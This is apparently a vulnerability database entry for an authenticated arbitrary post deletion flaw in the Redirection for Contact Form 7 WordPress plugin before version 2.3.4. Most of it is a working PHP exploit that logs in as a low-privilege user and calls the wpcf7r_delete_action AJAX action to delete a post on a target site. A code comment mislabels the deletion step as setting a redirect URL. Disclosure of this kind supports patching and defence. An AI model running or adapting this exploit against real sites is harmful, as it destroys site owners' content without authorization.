Lucene search

K
wpexploitChloeWPEX-ID:DAF12B85-F5AD-4261-AB39-BE6840AD3CDC
HistoryApr 20, 2021 - 12:00 a.m.

Redirection for Contact Form 7 < 2.3.4 - Authenticated Arbitrary Post Deletion

2021-04-2000:00:00
Chloe
84

0.001 Low

EPSS

Percentile

24.9%

In the plugin, any authenticated user, such as a subscriber, could use the delete_action_post AJAX action to delete any post on a target site.

<?php
// Settings
$wp_url = $argv[1];
$wp_user = $argv[2];
$wp_pass = $argv[3];

// Log in as subscriber
$ch = curl_init();
$cookiejar = tempnam(sys_get_temp_dir(), 'cookiejar-');
curl_setopt($ch, CURLOPT_URL, $wp_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, [
    'log'        => $wp_user,
    'pwd'        => $wp_pass,
    'rememberme' => 'forever',
    'wp-submit'  => 'Log+In',
]);
$output = curl_exec($ch);
curl_close($ch);

// Set redirect url
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $wp_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, [
    'action' => 'wpcf7r_delete_action',
    'data[0][post_id]' => '1'

]);
$output = curl_exec($ch);
curl_close($ch);
print_r($output);

0.001 Low

EPSS

Percentile

24.9%

Related for WPEX-ID:DAF12B85-F5AD-4261-AB39-BE6840AD3CDC